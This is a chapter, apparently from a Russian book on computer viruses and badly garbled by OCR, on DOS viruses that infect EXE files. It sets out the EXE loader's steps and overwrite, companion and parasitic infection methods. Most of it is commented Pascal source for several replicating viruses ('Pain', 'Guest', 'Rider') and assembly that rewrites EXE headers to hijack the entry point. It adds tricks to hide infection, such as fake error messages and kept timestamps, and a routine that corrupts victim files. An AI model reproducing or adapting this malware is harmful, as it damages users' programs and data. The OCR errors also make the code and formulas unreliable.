ЕХЕ-ВИРУСЫ
В
этой главе рассказано о ви-
русах,
заражающих ЕХЕ-фай-
лы.
Приведена классифика-
ция
таких вирусов, подробно
рассмотрены
алгоритмы их
работы,
отличия между
ними,
достоинства и недо-
статки.
Для каждого типа
вирусов
представлены исход-
ные
тексты с подробными
комментариями.
Также приве- .
дены
основные сведения
о
структуре и принципах ра-
боты
ЕХЕ-программы.
СОМ-файлы
(небольшие программы, написанные в
основном на языке
Assembler)
медленно, но верно устаревают. Им на
смену приходят пуга-
ющие
своими размерами ЕХЕ-"монстры".
Появились и вирусы, умею-
щие
заражать ЕХЕ-файлы.
Структура и процесс загрузки ЕХЕ-программы
В
отличие от СОМ-программ, ЕХЕ-программы
могут состоять из не-
скольких
сегментов (кодов, данных, стека). Они
могут занимать боль-
ше
64Кбайт.
ЕХЕ-файл
имеет заголовок, который используется
при его загрузке.
Заголовок
состоит из форматированной части,
содержащей сигнатуру
и
данные, необходимые для загрузки
ЕХЕ-файла, и таблицы для на-
стройки
адресов (Relocation Table). Таблица состоит из
значений в фор-
мате
сегмент:смещение. К смещениям в загрузочном
модуле, на которые
указывают
значения в таблице, после загрузки
программы в память дол-
жен
быть прибавлен сегментный адрес, с
которого загружена программа.
При
запуске ЕХЕ-программы системным
загрузчиком (вызовом функ-
ции
DOS 4Bh) выполняются следующие действия:
1.
Определяется сегментный адрес свободного
участка памяти, размер
которого
достаточен для размещения программы.
2. Создается и заполняется блок памяти для переменных среды.
3. Создается блок памяти для PSP и программы (сегментЮОООЬ - PSP;
сегмент+ООЮЬЮОООЬ
- программа). В поля PSP заносятся
соответ-
ствующие
значения.
4. Адрес DTA устанавливается равным PSP:0080h.
5.
В рабочую область загрузчика считывается
форматированная часть
заголовка
ЕХЕ-файла.
6. Вычисляется длина загрузочного модуля по формуле:
Si7.e=((PageCnt*5i2)-(HdrSae*i6))-Pa!tP3ig.
7.
Определяется смещение загрузочного
модуля в файле, равное
HdrSize*16.
8.
Вычисляется сегментный адрес (START_SEG)
для загрузки -
обычно
это PSP+lOh.
9.
Считывается в память загрузочный модуль
(начиная с адреса
START_SEG:0000).
10. Для каждого входа таблицы настройки:
a) читаются слова I_OFF и I_SEG;
b) вычисляется RELC^SEG-START^SEG+LSEG;
c) читается слово по адресу RELO_SEG:I_OFF;
d) к прочитанному слову прибавляется START_SEG;
e) результат запоминается по тому же адресу (RELO_SEG:I_OFF).
11.
Распределяется память для программы в
соответствии с МахМет
и
МтМет.
12. Инициализируются регистры, выполняется программа:
a) ES=DS°PSP;
b)
АХ=результат проверки правильности
идентификаторов драйве-
ров,
указанных в командной строке;
c) SS°START_SEG+ReloSS, SP-ExeSP;
d) CS=START_SEG+ReloCS, IP=ExeIP.
Классификация ЕХЕ-вирусов
ЕХЕ-вирусы
условно можно разделить на группы,
используя в качестве
признака
для деления особенности алгоритма.
Вирусы, замещающие программный код (Overwrite)
Такие
вирусы уже стали раритетом. Главный их
недостаток - слишком
грубая
работа. Инфицированные программы не
исполняются, так как
вирус
записывается поверх программного кода,
не сохраняя его. При
запуске
вирус ищет очередную жертву (или жертвы),
открывает найден-
ный
файл для редактирования и записывает
свое тело в начало про-
граммы,
не сохраняя оригинальный код. Инфицированные
этими виру-
сами
программы лечению не подлежат.
Вирусы-спутники (Companion)
Эти вирусы получили свое название из-за алгоритма размножения:
к
каждому инфицированному файлу создается
файл-спутник. Рассмот-
рим
более подробно два типа вирусов этой
группы:
Вирусы
первого типа размножается следующим
образом. Для каждого ин-
фицируемого
ЕХЕ-файла в том же каталоге создается
файл с вирусным
кодом,
имеющий такое же имя, что и ЕХЕ-файл, но
с расширением
СОМ.
Вирус активируется, если при запуске
программы в командной
строке
указано только имя исполняемого файла.
Дело в том, что, если
не
указано расширение файла, DOS сначала
ищет в текущем каталоге
файл
с заданным именем и расширением СОМ.
Если СОМ-файл с та-
ким
именем не найден, ведется поиск
одноименного ЕХЕ-файла. Если
не
найден и ЕХЕ-файл, DOS попробует обнаружить
ВАТ (пакетный)
файл.
В случае отсутствия в текущем каталоге
исполняемого файла
с
указанным именем поиск ведется во всех
каталогах, доступных
по
переменной PATH. Другими словами, когда
пользователь хочет за-
пустить
программу и набирает в командной строке
только ее имя
(в
основном так все и делают), первым
управление получает вирус,
код
которого находится в СОМ-файле. Он
создает СОМ-файл еще
к
одному или нескольким ЕХЕ-файлам
(распространяется), а затем
исполняет
ЕХЕ-файл с указанным в командной строке
именем. Поль-
зователь
же думает, что работает только запущенная
ЕХЕ-программа.
Вирус-спутник
обезвредить довольно просто - достаточно
удалить
СОМ-файл.
Вирусы
второго типа действуют более тонко. Имя
инфицируемого
ЕХЕ-файла
остается прежним, а расширение заменяется
каким-либо
другим,
отличным от исполняемого (СОМ, ЕХЕ и
ВАТ), Например,
файл
может получить расширение DAT (файл
данных) или OVL (про-
граммный
оверлей). Затем на место ЕХЕ-файла
копируется вирусный
код.
При запуске такой инфицированной
программы управление полу-
чает
вирусный код, находящийся в ЕХЕ-файле.
Инфицировав еще один
или
несколько ЕХЕ-файлов таким же образом,
вирус возвращает ориги-
нальному
файлу исполняемое расширение (но не
ЁХЕ, а СОМ, по-
скольку
ЕХЕ-файл с таким именем занят вирусом),
после чего испол-
няет
его. Когда работа инфицированной
программы закончена, ее
запускаемому
файлу возвращается расширение
неисполняемого. Лече-
ние
файлов, зараженных вирусом этого типа,
может быть затруднено,
если
вирус-спутник шифрует часть или все
тело инфицируемого файла,
а
перед исполнением его расшифровывает.
Вирусы, внедряющиеся в программу (Parasitic)
Вирусы
этого вида самые незаметные: их код
записывается в инфици-
руемую
программу, что существенно затрудняет
лечение зараженных
файлов.
Рассмотрим методы внедрения ЕХЕ-вирусов
в ЕХЕ-файл.
Способы заражения ЕХЕ-файлов
Самый
распространенный способ заражения
ЕХЕ-файлов такой: в конец
файла
дописывается тело вируса, а заголовок
корректируется (с сохране-
нием
оригинального) так, чтобы при запуске
инфицированного файла
управление
получал вирус. Похоже на заражение
СОМ-файлов, но вмес-
то
задания в коде перехода в начало вируса
корректируется собственно
адрес
точки запуска программы. После окончания
работы вирус берет из
сохраненного
заголовка оригинальный адрес запуска
программы, прибав-
ляет
к его сегментной компоненте значение
регистра DS или ES (полу-
ченное
при старте вируса) и передает управление
на полученный адрес.
Следующий
способ - внедрение вируса в начало файла
со сдвигом кода
программы.
Механизм заражения такой: тело инфицируемой
программы
считывается
в память, на ее место записывается
вирусный код, а после
него
- код инфицируемой программы. Таким
образом, код программы
как
бы "сдвигается" в файле на длину
кода вируса. Отсюда и название
способа
- "способ сдвига". При запуске
инфицированного файла вирус
заражает
еще один или несколько файлов. После
этого он считывает
в
память код программы, записывает его в
специально созданный на
диске
временный файл с расширением исполняемого
файла (СОМ или
ЕХЕ),
и затем исполняет этот файл. Когда
программа закончила рабо-
ту,
временный файл удаляется. Если при
создании вируса не применя-
лось
дополнительных приемов защиты, то
вылечить инфицированный
файл
очень просто - достаточно удалить код
вируса в начале файла,
и
программа снова будет работоспособной.
Недостаток этого метода
в
том, что приходится считывать в память
весь код инфицируемой про-
граммы
(а ведь бывают экземпляры размером
больше 1Мбайт).
Следующий
способ заражения файлов - метод переноса
- по всей ви-
димости,
является самым совершенным из всех
перечисленных. Вирус
размножается
следующим образом: при запуске
инфицированной про-
граммы
тело вируса из нее считывается в память.
Затем ведется поиск
неинфицированной
программы. В память считывается ее
начало,
по
длине равное телу вируса. На это место
записывается тело вируса.
Начало
программы из памяти дописывается в
конец файла. Отсюда на-
звание
метода - "метод переноса". После
того, как вирус инфицировал
один
или несколько файлов, он приступает к
исполнению программы,
из
которой запустился. Для этого он считывает
начало инфицирован-
ной
программы, сохраненное в конце файла,
и записывает его в начало
файла,
восстанавливая работоспособность
программы. Затем вирус уда-
ляет
код начала программы из конца файла,
восстанавливая оригиналь-
ную
длину файла, и исполняет программу.
После завершения програм-
мы
вирус вновь записывает свой код в начало
файла, а оригинальное
начало
программы - в конец. Этим методом могут
быть инфицированы
даже
антивирусы, которые проверяют свой код
на целостность, так как
запускаемая
вирусом программа имеет в точности
такой же код, как и до инфицирования.
Вирусы,
замещающие программный код
(Overwrite)
Как
уже говорилось, этот вид вирусов уже
давно мертв. Изредка появ-
ляются
еще такие вирусы, созданные на языке
Assembler, но это, скорее,
соревнование
в написании самого маленького
overwrite-вируса. На дан-
ный
момент самый маленький из известных
overwrite-вирусов написан
Reminder'ом
(Death Virii Crew group) и занимает 22 байта.
Алгоритм работы overwrite-вируса следующий:
1. Открыть файл, из которого вирус получил управление.
2. Считать в буфер код вируса.
3. Закрыть файл.
4. Искать по маске подходящий для заражения файл.
5. Если файлов больше не найдено, перейти к пункту 11.
6. Открыть найденный файл.
7. Проверить, не заражен ли найденный файл этим вирусом.
8. Если файл заражен, перейти к пункту 10.
9. Записать в начало файла код вируса.
10.
Закрыть файл (по желанию можно заразить
от одного до всех фай-
лов
в каталоге или на диске).
11.
Выдать на экран какое-либо сообщение
об ошибке, например
"Abnormal
program termination" или "Not enough memory", -
пусть
пользователь
не слишком удивляется тому, что программа
не запу-
стилась.
12. Завершить программу.
Ниже
приведен листинг программы, заражающей
файлы таким
способом.
{$М 2048, 0, 0}
{$А-}
{$В-}
{$D-}
{$Е+}
($F-)
($G-}
($!-}
{$L-}
{$N-}
{$S-} /
{$V-}
{$X+}
{Используются модули DOS и System (модуль System автоматически
подключается
к каждой программе при компиляции)}
Uses
DOS;
Const
(Имя
вируса}
VirName='Pain';
{Строка для проверки на повторное заражение.
Она дописывается в заражаемый файл сразу после кода вируса}
VirLabel: String[5]='Pain!1;
{Длина
получаемого при компиляции
ЕХЕ-файла}
VirLen=4208;
Author='Dirty Nazi/SGWW.';
{Количество
заражаемых за один сеанс работы
файлов}
lnfCount=2;
Var
{Массив
для определения наличия копии вируса
в найденном файле}
Virldentifier:
Array [1.5] of Char;
{Файловая
переменная для работы с файлами}
VirBody:
File;
(Еще
одна файловая переменная - хотя без нее
можно было
обойтись,
так будет понятнее)
Target:
File;
{Для
имени найденного файла)
TargetFile:
PathStr;
(Буфер
для
тела
вируса)
VirBuf
: Array [-I.VirLen] of Char;
(Для
даты/времени файла)
Time
: Longint;
(Счетчик
количества инфицированных файлов)
InfFiles
: Byte;
Dirlnfo : SearchRec;
LabelBuf : Array [1.5] of Char;
(Инициализация)
procedure
Init;
begin
LabelBuf
[1]:=VirLabel[1];
LabelBuf[2]:=VirLabel[2];
LabelBuf[3]:=VirLabel[3],
LabelBuf[4]:=VirLabel[4];
LabelBuf[5]:=VirLabel[5];
(Обнуляем
счетчик количества инфицированных
файлов}
lnfFiles:=0;
(Связываем
файловую переменную VirBody с именем
программы.
из
которой стартовали)
Assign(VirBody,
ParamStr(O));
(Открываем
файл с recsize=1 байту)
Reset(VirBody,
1);
(Считываем
из файла тело вируса в массив
VirBuf}
BlockRead(VirBody
VirBuf, VirLen);
(Закрываем
файл)
Close(VirBody);
end;
(Поиск
жертвы}
procedure
FindTarget;
Var
Sr:
SearchRec;
(Функция возвращает True, если найденная
программа
уже заражена, и False, если еще нет}
function
VirusPresent: Boolean;
begin
(Пока
будем считать, что вируса
нет}
VirusPresent:=False;
(Открываем
найденный
файл}
Assign(Target,
TargetFile);
Reset(Target, 1);
(Перемещаемся
на длину тела вируса от начала
файла}
Seek(Target,
VirLen);
(Считываем
5 байт - если файл уже заражен,
там
находится метка вируса}
BlockRead(Target,
Virldentifier, 5);
If Virldentifier=Virl_abel Then
{Если
метка
есть,
значит
есть
и
вирус}
VirusPresent:=True;
end;
(Процедура
заражения}
procedure
InfectFile;
begin
{Если
размер найденного файла меньше, чем
длина вируса
плюс
100 байт, то выходим из процедуры}
If
Sr.Size < VirLen+100 Then Exit;
{Если
найденная программа еще не заражена,
инфицируем ее}
If
Not VirusPresent Then
begin
{Запомним
дату и время файла. Атрибуты запоминать
не надо,
так
как поиск ведется среди файлов с атрибутом
Archive, а этот
атрибут
устанавливается на файл после сохранения
в любом случае}
Time:=Sr.Time;
{Открываем
для заражения}
Assign(Target,
TargetFile);
Reset(Target, 1);
{Записывам
тело вируса в начало файла}
BlockWrite(Target,
VirBuf, VirLen);
{Перемещаем
указатель текущей позиции
на
длину вируса от начала файла}
Seek(Target,
VirLen);
{Вписываем
метку заражения}
BlockWrite(Target,
LabelBuf, 5);
{Устанавливаем
дату и время файла}
SetFTime(Target,
Time);
{Закрываем}
Close(Target);
{Увеличиваем
счетчик инфицированных файлов}
Inc(lnfFiles);
end;
end;
{Начало
процедуры
FindTarget}
begin
{Ищем
в
текущем
каталоге
файлы
по
маске
*.ЕХЕ
с
атрибутами
Archive}
FindFirstF.EXE',
Archive, Sr);
{Пока есть файлы для заражения}
While DosError=0 Do
begin
If Sr.Name=" Then Exit;
(Запоминаем
имя найденного файла в переменную
TargetFile}
TargetFile:=Sr.Name;
{Вызываем
процедуру заражения}
InfectFile;
{Если
заразили InfCount файлов, завершаем поиск}
If
InfFiles > InfCount Then Exit;
{Ищем
следующий файл по маске}
FindNext(Sr);
end;
end;
{Основное
тело}
begin
(Инициализируемся}
hit;
{Ищем
жертвы и заражаем их}
FindTarget;
{Выдаем
на экран сообщение об ошибке}
WriteLn('Abnormal
program termination.');
{Это
чтобы компилятор вставил в код константы
VirName
и
Author, условие же поставлено таким
образом,
что
эти строки никогда не будут выведены
на экран}
If
2=3 Then
begin
WriteLn(VirName);
WriteLn(Author);
end;
end.
Вирусы-спутники (Companion)
Вирусы-спутники
сейчас широко распространены -
соотношение
companion
и parasitic вирусов примерно один к двум.
Инфицирование методом создания СОМ-файла спутника
Смысл
этого метода - не трогая "чужого кота"
(ЕХЕ-программу), со-
здать
"своего" - СОМ-файл с именем
ЕХЕ-программы. Алгоритм рабо-
ты
такого вируса предельно прост, так как
отпадает необходимость
лишних
действий (например, сохранения в теле
вируса длины откомпи-
лированного
ЕХЕ-файла с вирусным кодом, считывания
в буфер тела
вируса,
запуска файла, из которого вирус получил
управление). Неза-
чем
даже хранить метку для определения
инфицирования файла.
Заражение производится с помощью командного процессора:
1.
Если в командной строке указаны параметры,
сохранить их в пере-
менную
типа String для передачи инфицированной
программе.
2. Найти ЕХЕ-файл-жертву.
3.
Проверить, не присутствует ли в каталоге
с найденным ЕХЕ-фай-
лом
СОМ-файл с таким же именем, как у
файла-жертвы.
4.
Если такой СОМ-файл присутствует, файл
уже заражен, переходим
к
пункту 6.
5.
С помощью командного процессора
скопировать файл, из которого
получено
управление, в файл с именем жертвы и
расширением СОМ.
6.
Процедурой Ехес загрузить и выполнить
файл с именем стартового, но
с
расширением ЕХЕ - то есть выполнить
инфицированную программу.
7. Вернуть управление в DOS.
Приведенный
ниже листинг показывает заражение
файлов этим
методом.
($М
2048, 0, 0}
f$A-}
<$В-"
($D-}
<$Е+1
{$F-}
{$G-}
{$!-}
f$L-(
{$N-)
{$S-}
<$V-}
{$X+}
(Используются
модули DOS и System (модуль System
автоматически
подключается
к каждой программе при компиляции)}
Uses
DOS;
Const
{Имя
вируса)
VirName='Guesf;
Author='Dirty Nazi/SGWW. 4 PVT only!';
{Количество
зараженных за один сеанс работы
файлов}
lnfCount=2;
Var
{Для
имени найденного файла)
TargetFile
: PathStr;
{Для
создания копии}
TargetCOM
: PathStr;
(Счетчик
количества заражений}
InfFiles
: Byte;
Dirlnfo : SearchRec;
{Для
сохранения параметров командной
строки}
Parms
: String;
(Для
цикла For}
I:
Byte;
(Поиск
жертв}
procedure
FindTarget;
Var
Sr
: SearchRec;
{Функция
возвращает True, если найденная программа
уже заражена,
и
False, если еще нет}
function
VirusPresent: Boolean;
Var
Target : File;
begin
{Пока
будем считать, что вируса здесь
нет}
VirusPresent:=False;
{Пытаемся
открыть файл с именем найденной
программы,
но
с расширением СОМ}
AssignHarget,
TargetCOM);
ResetHarget, 1);
{Если
не было ошибок при открытии,
программа
уже инфицирована этим вирусом}
If
IOResult=0 Then
begin
VirusPresent:=True;
{Открыли
- закроем}
Close(Target);
end;
end;
{Собственно
процедура заражения}
procedure
InfectFile;
begin
{Если
найденная программа еще не заражена,
инфицируем ее}
If
Not VirusPresent Then
begin
{С
помощью командного процессора
копируем
вирусный код в СОМ-файл}
Swap
Vectors;
Exec(GetEnv('COMSPEC'),7C
COPY /B '+ParamStr(0)+'
'+TargetCOM+'
>NUL');
Swap Vectors;
(Увеличиваем
на единицу счетчик инфицированных
файлов}
Inc(lnfFiles);
end;
end;
begin {начало процедуры FindTarget}
(Ищем
в текущем каталоге файлы по маске *.ЕХЕ
с
атрибутами Archive}
FindFirstF.EXE',
Archive, Sr);
{Пока есть файлы для заражения}
While DosError=0 Do
begin
If Sr.Name=" Then Exit;
{Запоминаем
имя найденного файла в переменную
TargetFile}
TargetFile:=Sr.Name;
TargetCOM:=Copy(TargetFile,1,Length(TargetFile)-4)+'.COM';
{Вызываем
процедуру заражения}
InfectFile;
{Если
заразили InfCount файлов, завершаем поиск}
If
InfFiles > InfCount Then Exit;
{Ищем
следующий файл по маске}
FindNext(Sr);
end;
end;
{Основное
тело}
begin
Parms:='
';
{Запоминаем
параметры командной строки}
If
ParamCount <> 0 Then
For
l:=1 To ParamCount Do
Parms:=Parms+'
'+ParamStr(l);
{Ищем
жертвы и заражаем их}
FindTarget;
TargetFile:=Copy(ParamStr(0), 1 ,Length(ParamStr(0))-4)+'.EXE';
(Ищем
файл с именем стартового файла, но с
расширением ЕХЕ}
FindFirst(TargetFile,
AnyRle, Dirlnfo);
{Если
такой файл найден, запускаем его на
выполнение)
If
DosError=0 Then
begin
Swap
Vectors;
Exec(GetEnv('COMSPEC'),7C '+TargetFile+Parms);
Swap Vectors;
end Else
{Если
файл не найден, выходим,
не
внося в программу изменений)
begin
WriteLn(#13#10,
VirName, ' by '.Author);
WriteLnCKaKoe-нибудь сообщение');
end;
end.
Инфицирование методом переименования ЕХЕ-файла
Отличий
в алгоритмах работы этих вирусов и их
"коллег", создающих
файл-спутник,
не так уж много. Но, по всей видимости,
заражение ме-
тодом
переименования несколько совершеннее
- для излечения от ви-
руса
нужно не просто удалить СОМ-файл с кодом
вируса, а немного
помучаться
и разыскать, во что же переименован
ЕХЕ-файл с инфици-
рованной
программой.
1.
Если в командной строке указаны параметры,
сохранить их в пере-
менную
типа String для передачи инфицированной
программе.
2. Найти ЕХЕ-файл-жертву.
3.
Проверить, не присутствует ли в каталоге
с найденным ЕХЕ-фай-
лом-жертвой
файл с таким же именем и с расширением,
которое
выбрано
для инфицированной программы (например,
OVL - про-
граммный
оверлей).
4.
Если такой файл присутствует, программа
уже инфицирована - пе-
реходим
к пункту 7.
5.
Переименовать найденный файл-жертву
(ЕХЕ) в файл с таким же име-
нем,
но с расширением, выбранным для
инфицированной программы.
6.
С помощью командного процессора
скопировать файл, из которого по-
лучено
управление, в файл с именем жертвы и
расширением жертвы.
7.
Найти в каталоге, из которого получено
управление, файл с именем
стартовой
программы, но с расширением, выбранным
для инфици-
рованной
- это и будет зараженная программа,
которую в данный
момент
необходимо запустить на исполнение.
8. Если такой файл не найден, переходим к пункту 12.
9.
Изменить расширение найденного файла
на СОМ (ни в коем случае не
на
ЕХЕ, ведь в ЕХЕ-файле с таким именем
находится вирусный код!).
10.
Процедурой Ехес загрузить и выполнить
переименованный файл -
то
есть выполнить инфицированную программу.
11.
Вернуть СОМ-файлу с инфицированной
программой выбранное
расширение,
то есть превратить его опять в
неисполняемый.
12. Вернуть управление в DOS.
Несколько
слов о вирусе, листинг которого приведен
ниже. Вирус Rider
написан
очень просто и доступно. За сеанс работы
он заражает один
ЕХЕ-файл
в текущем каталоге. Сам процесс заражения
также весьма
прост:
файл-жертва переписывается в файл с
расширением OVL (овер-
лейный
файл), а на его место с помощью командного
процессора копи-
руется
вирусный код. При запуске происходит
заражение только что
найденного
ЕХЕ-файла, затем вирусный код
переименовывается
в
OWL, a OVL - в ЕХЕ, после чего оригинал
запускается на исполне-
ние.
Когда оригинал отработал, происходит
переименование в обратном
порядке.
С защищенного от записи диска программа
не запустится, она
выдаст
сообщение, что диск защищен от записи.
В
представленном здесь виде вирус легко
обезвредить, достаточно про-
сто
переименовать OVL-файл обратно в ЕХЕ. Но,
чтобы усложнить ле-
чение,
в вирусе может быть использован такой
прием:
procedure MakeNot;
Var
Buf10: Array [1.10] of Byte;
Cicle: Byte;
begin
Seek(Prog,
0);
Reset(Prog);
BlockRead(Prog, Buf10, 10);
For Cicle:=1 To 10 Do Buf10[Cicle]:=Not Buf10[Cicle];
Seek(Prog, 0);
BlockWrite(Prog, Buf10, 10);
Close(Prog);
end;
При
использовании этой процедуры надо
учитывать, что заражаемая
и
запускаемая на исполнение программа
должна быть связана с пере-
менной
Prog типа File, описанной в основном модуле.
Суть процедуры
состоит
в том, что из заражаемой программы
считываются 10 байт и ко-
дируются
операцией Not. ЕХЕ-программа становится
неработоспособ-
ной.
Запускать эту процедуру нужно не только
перед прогоном ориги-
нала,
но и после него.
{ Name Rider }
{ Version 1.0 }
{ Stealth No }
{ Tsr No }
{ Danger 0 }
{ Attac speed Slow }
{ Effects No }
{ Length 4000 }
{ Language Pascal }
{ BodyStatus Packed }
{ Packer Pklite }
($M
2048, 0, 0} { Stack 1024b, Low Heap Limit Ob,
High
Heap Limit Ob }
{Используются
модули DOS и System (модуль System
автоматически
подключается
к каждой программе при компиляции)}
Uses
DOS;
Const
Fail='Cannot
execute '^13#10'Disk is write-protected';
{Расширения
файлов, которые будем использовать}
Ovr='.OWL';
Ovl='.OVL';
Ехе=.ЕХЕ';
Var
Dirlnfo
: SearchRec;
Sr : SearchRec;
Ch : Char;
I : Byte;
OurName : PathStr;
OurProg : PathStr;
Ren : File;
CmdLine : ComStr;
Victim : PathStr;
VictimName : PathStr;
(Процедура
для проверки диска на Read Only)
procedure
CheckRO;
begin
Assign(Ren,
#$FF);
ReWrite(Ren);
Erase(Ren);
If lOResult <> 0 Then
{Если диск защищен от записи, то ответ 'Access denied'}
begin
WriteLn(Fail);
Halt(5);
end;
end;
(Процедура
прогонки оригинала}
procedure
ExecReal;
begin
{Находим
оригинал}
FindFirst(OurName+Ovl,
AnyFile, Dirlnfo);
If DosError <> 0 Then
(Если не нашли}
begin
WriteLn('Virus RIDER. Let's go on riding!');
WriteLn('l beg your pardon, your infected file cannot be executed.');
(Выход
с DosError=
Halt(18);
end;
{Переименовываем
программу в OVL}
Assign(Ren,
OurName+Exe);
ReName(Ren, OurName+Ovr);
{Переименовываем
оверлей в ЕХЕ}
Assign(Ren,
OurName+Ovl);
ReName(Ren, OurName+Exe);
(И
запускаем его}
Swap
Vectors;
Exec(GetEnv('COMSPEC'), 7C '+OurName+Exe+CmdLine);
Swap Vectors;
{А
теперь возвращаем все на место)
Assign(Ren,
OurName+Exe);
ReName(Ren, OurName+Ovl);
Assign(Ren, OurName+Ovr);
ReName(Ren, OurName+Exe);
end;
(Процедура
заражения}
procedure
Infect;
begin
{Переименовываем
жертву в OVL}
Assign(Ren,
Victim);
ReName(Ren, VictimName+Ovl);
{Копируем
тело вируса на место жертвы}
SwapVectors;
Exec(GetEnv('COMSPEC'), '/С COPY '+OurProg+' '+Victim+' >NUL');
SwapVectors;
end;
{Процедура
поиска жертвы}
procedure
FindFile;
begin
{В
текущем каталоге ищем ЕХЕ-файл}
FindFirst('*EXE',
AnyFile, Dirlnfo);
If DosError=0 Then
{И
если он найден}
begin
{Запоминаем
имя жертвы}
Victim:=Dirlnfo.Name;
{Запоминаем
имя без расширения}
VictimName:=Copy(Victim,
1, Length(Victim)-4);
{Ищем
оверлей с тем же именем}
FindFirst(VictimName+Ovl,
AnyFile, Sr);
If DosError <> 0 Then Infect;
end;
end;
{Процедура
инициализации переменных}
procedure
I nit;
begin
(Командная
строка}
CmdLine:=";
{Полное
имя нашей программы}
OurProg:=ParamStr(0);
{Имя
нашей программы без
расширения}
OurName:=Copy(ParamStr(0),
1, Length(ParamStr(0))-4);
For
l:=1 To ParamCount Do
begin
{Запоминаем
параметры}
CmdLine:=ParamStr(l)+'
';
end;
end;
{Основная
подпрограмма}
begin
{А эту табличку запишем в код для тех,
кто распакует вирус и начнет в нем копаться}
If False Then
begin
WriteLn(#13#10 ' ');
end;
{Инициализируемся}
Init;
(Проверка
диска на R/О}
CheckRO;
{Ищем
и заражаем}
FindFile;
{Загружаем
оверлей}
ExecReal;
end.
Вирусы, внедряющиеся в программу (Parasitic)
Эти
вирусы являются самыми "хитрыми".
Поскольку такой вирус вне-
дряется
в инфицируемую программу, это дает ему
много преимуществ
перед
всеми вышеописанными вирусами: на диске
не появляются лиш-
ние
файлы, нет забот с копированием и
переименованием, кроме того,
усложняется
лечение инфицированных файлов.
Стандартное заражение ЕХЕ-файлов
Стандартное
заражение - заражение, при котором вирус
внедряется
в
конец файла, изменяя заголовок так,
чтобы после загрузки файла уп-
равление
получил вирус. Принципиально действие
такого вируса мало
отличается
от действия рассмотренного СОМ-вируса.
Чтобы выяснить
способы
работы с ЕХЕ-файлами, рассмотрим следующий
фрагмент про-
граммы:
;Читаем
заголовок ЕХЕ-файла (точнее, только
первые 18h байт,
;которых
вполне достаточно)
ReadHeader:
mov ah,3Fh
mov
dx,offset EXEHeader
mov
cx,0018h
int
21 h
Останавливаем
в SI адрес считанного заголовка. В
дальнейшем
;будем
обращаться к заголовку, используя
Sl+смещение элемента
mov
si,offset EXEHeader
[Получаем
реальную длину файла, переместив
указатель текущей
;позиции
чтения/записи в конец файла
GetRealFSize:
mov ax,4202h
mov bx.Handle
xor ex,ex
xor dx.dx
int 21 h
;Сохраним
полученную длину файла
mov
Reallen.dx
mov
Reallen+2,ax
;Так
как речь идет о стандартной процедуре
заражения, нужно
;помнить,
что все вышесказанное не должно
затрагивать
оверлейные
файлы. Их длина, указанная в
заголовке,
.-меньше
реальной, то есть эти файлы загружаются
;в
память не полностью.
Следовательно,
если заразить такой файл, вирус попадет
;в
незагружаемую часть.
Сохраним
в стеке реальную длину ЕХЕ-файла
push dx
push ax
рассчитаем
размер ЕХЕ-файла в 512-байтных страницах
и остаток
CompareOVL
mov cx,0200h
div ex
;Ha
данный момент в регистре АХ находится
число страниц
;(в
каждой странице содержится 512 байт),
;а
в регистре DX - остаток, образующий
;еще
одну (неучтенную) страницу.
.Добавим
эту страницу к общему числу страниц
-
;если
остаток не равен нулю, то
.увеличим
число страниц
or dx.dx
jz m1
inc
ax
m1:
.Будем
считать пригодным для заражения
.стандартным
способом файлы с длиной,
;полностью
совпадающей с указанной в заголовке
cmp ax,[si+PartPag]
jne ExitProc
cmp dx,[si+PageCnt]
jne ExitProc
;Чтобы
вирус смог вернуть управление
;зараженной
программе, сохраним поля ReloSS,
;ExeSP,
ReloCS, ExelP из заголовка ЕХЕ-файла.
.Значения
констант, используемых в программе,
.равны
смещению соответствующего
;элемента
в заголовке ЕХЕ-файла (Приложение
А)
InitRetVars:
mov ax,[si+ReloSS]
mov oldss.ax
mov ax,[si+ExeSP]
mov oldsp.ax
mov ax,[si+ReloCS]
mov oldcs.ax
mov ax,[si+Exe!P]
mov oldip.ax
.Восстановим
из стека реальную длину файла
;В
данном случае она совпадает с длиной,
указанной в заголовке
pop ax
pop dx
.Рассчитаем
длину программы с вирусом, для чего
прибавим
;к
длине файла длину тела вируса
add ax,VIRSIZE ;VIRSIZE - длина тела вируса
adc dx.0
рассчитаем
получившуюся длину (одна страница - 512
байт)
;и
остаток в последней странице (так
же,
;как
рассчитывали длину файла без вируса)
mov cx,0200h
div ex
or dx.dx
jz newJen
inc
ax
NewJen:
;Внесем
в заголовок новую длину файла
mov
[si+PageCnt],ax
mov
[si+PartPag],dx
;Прочитаем
реальную длину файла.
;По
ней будем рассчитывать новую
;точку
входа в программу (адрес запуска)
Eval_new_entry:
mov dx.Reallen+2
mov ax.Reallen
; Рассчитаем новую точку входа.
.Точка входа в вирус должна находиться
;в начале его тела. Другими словами, нужно к длине файла
.прибавить смещение точки входа.
;Разделим длину на размер параграфа (10h)
mov cx,10h
div ex
Получили
число параграфов (AX) и остаток (DX -
смещение
;вируса
в последнем параграфе).
;0тнимем
от числа параграфов в файле число
.параграфов
в заголовке - получим сегмент входа в
ЕХЕ-файл
sub
ax,[si+HdrSize]
;3апишем
новую точку входа в заголовок
mov
[si+ReloCS],ax
mov
[si+ExelP],dx
.Замечание:
можно было округлить полученное число,
;и
вирус начинался бы с OOOOh.
;Но
этого делать не стоит.
,-Естественно, все обращения к данным в этом вирусе
должны быть нефиксированными, как и в любом другом вирусе.
;Вместо "mov ax,ANYDATA" придется делать так:
; mov si.VIRSTART
; mov ax,[si+offset ANYDATA]
;где offset ANYDATA - смещение относительно начала тела вируса
;Стек поставим за тело вируса - байт на ЮОп. Потом обязательно
;вернем, иначе можно стереть заготовленные в стеке значения!
.'Установим сегмент стека такой же, как и кода,
;а указатель на вершину стека -
;на 100h байт после тела вируса
mov [si+ReloSSj.ax
mov ax.VIRSIZE+IOOh
mov [si+ExeSP],ax
;Теперь
запишем заголовок в файл, не забыв и
тело вируса.
;
Рекомендуется писать сначала тело, а
потом заголовок.
;Если
тело вдруг не допишется,
;то
файл испортим зря
UpdateRle:
;3апишем
тело вируса
WriteBody:
.-Установим
указатель чтения/записи в конец файла
mov
bx,Handle
хог
сх,сх
xor
dx.dx
mov
ax,4202h
int
21 h
.Запишем
тело вируса в файл
mov
ah,40h
mov
cx.VIRSIZE
mov
dx.offset VIRStart
int
21h
;3апишем
заголовок
WriteHeader:
;Установим
указатель чтения/записи в начало
файла
mov
ax,4200h
xor ex,ex
xor dx.dx
int 21 h
.Запишем заголовок в файл
mov cx,0018h
mov ah,40h
mov dx.si
int 21 h
Итак,
вирус "поселился" в ЕХЕ-файле. А
как после окончания работы
вируса
передать управление инфицированной
программе? Вот процеду-
ра
выхода из вируса:
CureEXE:
StackBack:
